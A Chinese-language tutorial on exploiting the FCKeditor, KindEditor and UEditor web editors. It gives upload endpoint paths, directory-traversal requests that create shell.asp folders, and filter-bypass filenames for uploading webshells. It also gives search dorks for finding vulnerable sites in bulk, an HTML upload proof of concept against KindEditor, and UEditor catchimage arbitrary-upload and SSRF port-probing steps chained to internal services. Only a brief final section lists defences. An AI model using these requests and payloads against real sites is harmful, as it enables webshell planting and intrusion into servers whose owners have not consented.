三款主流编辑器漏洞整理分析
字数 1662 2025-08-07 08:22:09
三款主流编辑器漏洞整理分析教学文档
一、FCKeditor漏洞分析
1.1 版本信息获取
- 查看版本号路径:
/fckeditor/editor/dialog/fck_about.html/fckeditor/_whatsnew.html
1.2 常见测试上传地址
/FCKeditor/editor/filemanager/browser/default/connectors/test.html
/FCKeditor/editor/filemanager/upload/test.html
/FCKeditor/editor/filemanager/connectors/test.html
/FCKeditor/editor/filemanager/connectors/uploadtest.html
1.3 上传地址分类
1.3.1 connector文件
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/php/connector.php?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector.jsp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
1.3.2 browser.html文件
FCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/aspx/connector.Aspx
fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/php/connector.php
1.4 目录遍历漏洞
- 修改CurrentFolder参数使用
../../进入不同目录 - 示例:
FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp - 爆绝对路径:
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=/xx.asp&NewFolderName=x.asp - 直接浏览盘符:
/FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=e:/
1.5 上传绕过技巧
-
Windows系统环境下:
- 提交
shell.php+空格绕过 - 上传
shell.asp;.jpg变shell_asp;.jpg,然后继续上传同名文件可变为shell.asp;(1).jpg
- 提交
-
FCKeditor v2.4.3默认拒绝上传类型:
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm- 绕过方法:
- Windows下在上传文件后面加个
.突破 - 利用2003解析漏洞建立
xxx.asp文件夹或上传xx.asp;.jpg
- Windows下在上传文件后面加个
- 绕过方法:
-
FCKeditor 2.0 <= 2.2:
- 允许上传
asa、cer、php2、php4、inc、pwml、pht后缀文件 - Apache下可利用"Apache文件名解析缺陷漏洞"
- 允许上传
-
.htaccess文件上传:- 上传
.htaccess文件让.jpg以PHP格式解析 - 先上传
.htaccess文件,再上传图片马
- 上传
1.6 漏洞利用方法
- 批量搜索:
- FOFA/Google搜索:
inurl:Fckeditor/editor或app="CKEditor-fckeditor"
- FOFA/Google搜索:
- 上传木马:
- 直接上传aspx木马文件
- 无法直接上传时,创建
1.asp文件夹,再上传图片马
二、Kindeditor漏洞分析(<=4.1.5)
2.1 漏洞详情
- 支持上传格式:
doc,docx,xls,xlsx,ppt,htm,html,txt,zip,rar,gz,bz2,wps,pdf - 支持语言:Java、.NET、PHP、ASP等
uploadbutton.html用于文件上传功能页面
2.2 上传路径
/asp/upload_json.asp
/asp.net/upload_json.ashx
/jsp/upload_json.jsp
/php/upload_json.php
2.3 版本信息查看
http://www.xxx.org/kindeditor/kindeditor.js
2.4 漏洞利用方法
-
批量搜索:
inurl:/examples/uploadbutton.html inurl:/php/upload_json.php inurl:/asp.net/upload_json.ashx inurl://jsp/upload_json.jsp inurl://asp/upload_json.asp kindeditor -
验证上传点:
kindeditor/asp/upload_json.asp?dir=file kindeditor/asp.net/upload_json.ashx?dir=file kindeditor/jsp/upload_json.jsp?dir=file kindeditor/php/upload_json.php?dir=file -
构造上传POC(HTML格式):
<html><head> <title>Uploader</title> <script src="http://ip/kindeditor/kindeditor.js"></script> <script> KindEditor.ready(function(K) { var uploadbutton = K.uploadbutton({ button : K('#uploadButton')[0], fieldName : 'imgFile', url : 'http://ip/kindeditor/asp.net/upload_json.ashx?dir=file', afterUpload : function(data) { if (data.error === 0) { var url = K.formatUrl(data.url, 'absolute'); K('#url').val(url);} }, }); uploadbutton.fileBox.change(function(e) { uploadbutton.submit(); }); }); </script></head><body> <div class="upload"> <input class="ke-input-text" type="text" id="url" value="" readonly="readonly" /> <input type="button" id="uploadButton" value="Upload" /> </div> </body> </html>
三、Ueditor漏洞分析
3.1 受影响版本
- .NET: 1.3.6 || 1.5.0 || <=1.4.3
- PHP: <=1.4.3
- JSP: <=1.4.3
3.2 漏洞类型
- 任意文件上传
- 盲SSRF
- XML上传导致XSS
3.3 任意文件上传漏洞分析
- 漏洞文件:
net/controller.ashx - 关键参数:
action=catchimage(远程文件抓取) - 漏洞原理:
- 当
source值不为空时执行抓取 - 检查响应头
ContentType是否包含image - 可伪造
ContentType:image/jpeg抓取任意类型文件
- 当
3.4 SSRF漏洞
- 小于1.4.3版本未过滤IP,造成SSRF漏洞
- 已修复版本会过滤IP
3.5 漏洞利用方法
- 批量搜索:FOFA搜索
ueditor - 测试路径:
UEditor/controller.ashx?action=catchimage - 利用POST请求上传文件
- SSRF利用:
- 探测
ip+端口:source[]=ip+端口 - 爆破模块检测:200存在,500不存在
- 无漏洞版本会返回
state:INVALID_URL
- 探测
- 组合利用:
- 结合内网redis、log4j等漏洞
四、总结
4.1 漏洞利用流程
- 识别编辑器类型和版本
- 查找对应的测试路径
- 尝试上传或目录遍历
- 根据限制尝试绕过方法
- 利用成功上传的webshell或SSRF进一步渗透
4.2 防御建议
- 及时更新编辑器到最新版本
- 限制上传文件类型
- 对上传文件进行重命名
- 禁用不必要的功能接口
- 对用户输入进行严格过滤
- 设置文件上传目录不可执行